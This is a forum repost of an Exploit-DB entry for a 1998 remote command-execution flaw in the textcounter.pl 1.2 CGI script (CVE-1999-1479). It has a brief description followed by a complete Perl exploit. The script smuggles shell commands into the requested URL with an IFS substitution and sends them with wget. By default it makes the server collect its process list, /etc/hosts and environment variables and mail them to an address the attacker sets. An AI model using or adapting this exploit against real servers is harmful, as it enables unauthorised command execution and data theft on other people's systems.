Exploit textcounter.pl 1.2 - Arbitrary Command Execution

Exploiter

Хакер
34,599
0
18 Дек 2022
EDB-ID
20583
Проверка EDB
  1. Пройдено
Автор
DORU PETRESCU
Тип уязвимости
REMOTE
Платформа
CGI
CVE
cve-1999-1479
Дата публикации
1998-06-24
Код:
source: https://www.securityfocus.com/bid/2265/info

textcounter.pl is distributed through Matt's Scripts archive, and provides added features to httpd servers such as counters, guestbooks, and http cookie management. Due to insufficient checking of entered characters, it is possible for a remote user to input custom formatted strings into the $DOCUMENT_URI environment variable which, which when parsed can be executed as the UID of the httpd process. This makes it possible for a user with malicious intentions to execute arbitrary commands, and potentially gain access to the local host. 

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this 
$EMAIL='[email protected],root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}

$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;

#print "$text\n";

system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text); 
#system({"lynx"} "lynx", $text);     # if you don't have "wget"
                                  # you can try with "Lynx"
 
Источник
www.exploit-db.com

Похожие темы